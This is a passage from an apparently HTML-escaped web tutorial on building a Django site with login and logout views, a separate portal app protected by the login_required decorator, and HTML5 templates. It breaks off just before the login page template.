&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="sa">r&lt;/span>&lt;span class="s1">&amp;#39;^$&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">main_page&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Login / logout.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="sa">r&lt;/span>&lt;span class="s1">&amp;#39;^login/$&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;django.contrib.auth.views.login&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="sa">r&lt;/span>&lt;span class="s1">&amp;#39;^logout/$&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">logout_page&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Web portal.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="sa">r&lt;/span>&lt;span class="s1">&amp;#39;^portal/&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">include&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;portal.urls&amp;#39;&lt;/span>&lt;span class="p">)),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Serve static content.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="sa">r&lt;/span>&lt;span class="s1">&amp;#39;^static/(?P&amp;lt;path&amp;gt;.*)$&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;django.views.static.serve&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>&lt;span class="s1">&amp;#39;document_root&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;static&amp;#39;&lt;/span>&lt;span class="p">}),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There are two things to notice here. First off, the login view
&lt;code>(r'^login/$', 'django.contrib.auth.views.login')&lt;/code> is defined as using
&lt;code>django.contrib.auth.views.login&lt;/code>, which is a pre-defined view for logging in
users. We won&amp;rsquo;t need to make any changes to this, as it does all of the Django
magic to securely authenticate users.&lt;/p>
&lt;p>Next, you&amp;rsquo;ll notice that the view for our web portal will be part of a separate
application &lt;code>(r'^portal/', include('portal.urls'))&lt;/code>. You don&amp;rsquo;t have to do it
this way, but breaking your website up into independent applications is useful
for keeping logic separated. For example, a login and logout are useful to
have as part of your main site (e.g. not in an application) because you may
have multiple parts of your website that perform different actions but that all
require authentication for users to access. In our case, one of these
applications will be a user portal, so we&amp;rsquo;ll be making it into a separate
application.&lt;/p>
&lt;h2 id="writing-the-views">Writing the Views&lt;/h2>
&lt;p>Now that we&amp;rsquo;ve defined the URLs for our site, let&amp;rsquo;s go ahead and write the
views that our main site will use. Here&amp;rsquo;s the &lt;code>views.py&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django.contrib.auth&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">logout&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django.http&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">HttpResponseRedirect&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django.shortcuts&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">render_to_response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main_page&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">render_to_response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;index.html&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">logout_page&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> Log users out and re-direct them to the main page.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">logout&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">HttpResponseRedirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Since the login page already has a view defined (thanks to
&lt;code>django.contrib.auth&lt;/code>), we only need to define our main page (which will tell
users to go to the portal) and a logout page that allows users to logout
anywhere on the website.&lt;/p>
&lt;p>The &lt;code>main_page&lt;/code> view is pretty simple, it just renders an &lt;code>index.html&lt;/code> template
(don&amp;rsquo;t worry, we&amp;rsquo;ll write all of the templates later).&lt;/p>
&lt;p>The &lt;code>logout_page&lt;/code> view calls the logout function on the request object. This
magically logs users out and kills their sessions. After logging them out, we
then direct them back to the main page of the website. You can always spice
this up (by adding a custom log out page or something), but for simplicity&amp;rsquo;s
sake, we will just send them back home.&lt;/p>
&lt;h2 id="create-the-portal-application">Create the Portal Application&lt;/h2>
&lt;p>Now let&amp;rsquo;s create our web portal application. We&amp;rsquo;ll call it portal and it will
be used to display the portal homepage and other portal functionality (if you
choose to add it):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code/django_consultants$ django-admin.py startapp portal
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code/django_consultants$ ls portal/
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">__init__.py models.py tests.py views.py
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code/django_consultants$ cd portal/
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code/django_consultants/portal$
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="determine-the-portal-urls">Determine the Portal URLs&lt;/h2>
&lt;p>Again, let&amp;rsquo;s quick write up a URL schema for our portal application. If you
are designing an actual website, you&amp;rsquo;ll want to add more functionality. For
now, all we will do is create a single page (that will be accessed via
&lt;code>/portal/&lt;/code>) which gives users some basic options.&lt;/p>
&lt;ul>
&lt;li>&lt;code>/&lt;/code> Main page. Will display the login portal and give users a menu of options.&lt;/li>
&lt;/ul>
&lt;h2 id="write-the-portal-urlspy">Write the Portal &lt;code>urls.py&lt;/code>&lt;/h2>
&lt;p>Now that we&amp;rsquo;ve come up with a schema for our portal application, let&amp;rsquo;s
implement it and write the &lt;code>urls.py&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django.conf.urls.defaults&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">portal.views&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">urlpatterns&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">patterns&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Main web portal entrance.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="sa">r&lt;/span>&lt;span class="s1">&amp;#39;^$&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">portal_main_page&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Nothing complicated here, moving on.&lt;/p>
&lt;h2 id="write-the-portal-views">Write the Portal Views&lt;/h2>
&lt;p>Now let&amp;rsquo;s write our portal views:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django.shortcuts&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">render_to_response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django.contrib.auth.decorators&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">login_required&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@login_required&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">portal_main_page&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> If users are authenticated, direct them to the main page. Otherwise, take
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> them to the login page.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">render_to_response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;portal/index.html&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is where things get interesting. Since we decided a while back that our
&lt;code>/portal/&lt;/code> page was going to require users to be authenticated, we are going
to import the &lt;code>login_required&lt;/code> function from &lt;code>django.contrib.auth&lt;/code>. This
decorator allows us to specify which views require users to be authenticated to
use! All we need to do is place &lt;code>@login_required&lt;/code> above each view definition
that we have which requires user authentication, and &lt;em>bam&lt;/em>. Everything
magically works!&lt;/p>
&lt;p>If you were to visit &lt;code>/portal/&lt;/code> without being logged in, the &lt;code>login_required&lt;/code>
function would see that you are not authenticated, and would read the variable
value in your settings.py file called &lt;code>LOGIN_URL&lt;/code> which currently contains
&lt;code>/login/&lt;/code>, and would then direct you to the login page. Pretty awesome right?
Full user authentication in only 1 line of code!&lt;/p>
&lt;h2 id="creating-the-templates">Creating the Templates&lt;/h2>
&lt;p>Now that we&amp;rsquo;ve done all the hard work, let&amp;rsquo;s go ahead and write our templates.&lt;/p>
&lt;p>To start, let&amp;rsquo;s create all of the necessary directories and files:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code/django_consultants$ mkdir -p templates/{registration,portal}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code/django_consultants$ touch templates/base.html templates/index.html
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code/django_consultants$ touch templates/portal/portal.html templates/portal/index.html templates/portal/menu.html templates/portal/footer.html templates/portal/header.html
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code/django_consultants$ touch templates/registration/login.html
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, let&amp;rsquo;s define a generic template (&lt;code>base.html&lt;/code>) for our main pages to use
as a generic template. Since I like to do things fancy, we might as well make
it HTML 5 :)&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-django" data-lang="django">&lt;span class="line">&lt;span class="cl">&lt;span class="x">&amp;lt;!DOCTYPE html&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&amp;lt;html&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;head&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;meta http-equiv=&amp;#34;Content-Type&amp;#34; content=&amp;#34;text/html;charset=utf-8&amp;#34; /&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">block&lt;/span> &lt;span class="nv">head&lt;/span> &lt;span class="cp">%}{%&lt;/span> &lt;span class="k">endblock&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/head&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;body&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">block&lt;/span> &lt;span class="nv">body&lt;/span> &lt;span class="cp">%}{%&lt;/span> &lt;span class="k">endblock&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/body&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&amp;lt;/html&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now that we have a base template, let&amp;rsquo;s create the main page of the website
(&lt;code>index.html&lt;/code>) as our &lt;code>main_page&lt;/code> view renders:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-django" data-lang="django">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">{%&lt;/span> &lt;span class="k">extends&lt;/span> &lt;span class="s2">&amp;#34;base.html&amp;#34;&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">comment&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="c">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"> Main page of django_consultant&amp;#39;s website.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endcomment&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">block&lt;/span> &lt;span class="nv">head&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;title&amp;gt;Django Consultants&amp;lt;/title&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endblock&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">block&lt;/span> &lt;span class="nv">body&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;header&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;h1&amp;gt;Django Consultants&amp;lt;/h1&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/header&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;section&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;p&amp;gt;Welcome to Django Consultants. Please click &amp;lt;a href=&amp;#34;/portal/&amp;#34;&amp;gt;here&amp;lt;/a&amp;gt; to log into our web portal.&amp;lt;/p&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/section&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endblock&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point, we&amp;rsquo;ve got the basic templates done for the main page of our
website. Mind you, they are very basic. The next thing we need to do is
create a template for our user portal page. So let&amp;rsquo;s do that:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-django" data-lang="django">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">{%&lt;/span> &lt;span class="k">extends&lt;/span> &lt;span class="s2">&amp;#34;base.html&amp;#34;&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">comment&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="c">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"> This is the main template for all portal pages.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endcomment&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">block&lt;/span> &lt;span class="nv">head&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;title&amp;gt;Django Consultants | &lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">block&lt;/span> &lt;span class="nv">title&lt;/span> &lt;span class="cp">%}{%&lt;/span> &lt;span class="k">endblock&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">&amp;lt;/title&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endblock&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">block&lt;/span> &lt;span class="nv">body&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;header&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;h1&amp;gt;Django Consultants | Web Portal&amp;lt;/h1&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/header&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;section&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;ul&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;li&amp;gt;&amp;lt;a href=&amp;#34;/&amp;#34;&amp;gt;home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;li&amp;gt;&amp;lt;a href=&amp;#34;/logout/&amp;#34;&amp;gt;logout&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/ul&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/section&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">block&lt;/span> &lt;span class="nv">content&lt;/span> &lt;span class="cp">%}{%&lt;/span> &lt;span class="k">endblock&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;footer&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;span&amp;gt;&amp;amp;copy; 2010, Django Consultants&amp;lt;/span&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/footer&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endblock&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is a generic template which will be used for all portal pages. As you can
see, there isn&amp;rsquo;t much functionality except to return to the main page and
logout. If you are developing an actual portal, you&amp;rsquo;ll obviously want to add
lots more features! Now we&amp;rsquo;ll create the actual portal home page:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-django" data-lang="django">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">{%&lt;/span> &lt;span class="k">extends&lt;/span> &lt;span class="s2">&amp;#34;portal/portal.html&amp;#34;&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">comment&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="c">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"> Main page of the portal.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endcomment&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">block&lt;/span> &lt;span class="nv">title&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> Portal
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endblock&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">block&lt;/span> &lt;span class="nv">content&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;section&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;h2&amp;gt;Welcome, &lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">user.username&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">&amp;lt;/h2&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;p&amp;gt;This is the main page of the web portal.&amp;lt;/p&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/section&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endblock&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This page is special in that it uses the &lt;code>{{ &amp;quot;user.username&amp;quot; }}&lt;/code> variable to
print the user name of the logged in user. The Django authentication system
passes the user object to each template that requires authentication (using the
&lt;code>login_required&lt;/code> decorator), that we can use to fetch information on the user.
In this case, we are going to display a simple welcome message.&lt;/p>
&lt;p>The last thing we need to do is create a template for our login page (remember
that it uses the magical view that we didn&amp;rsquo;t have to write?) Here it is:&lt;/p>
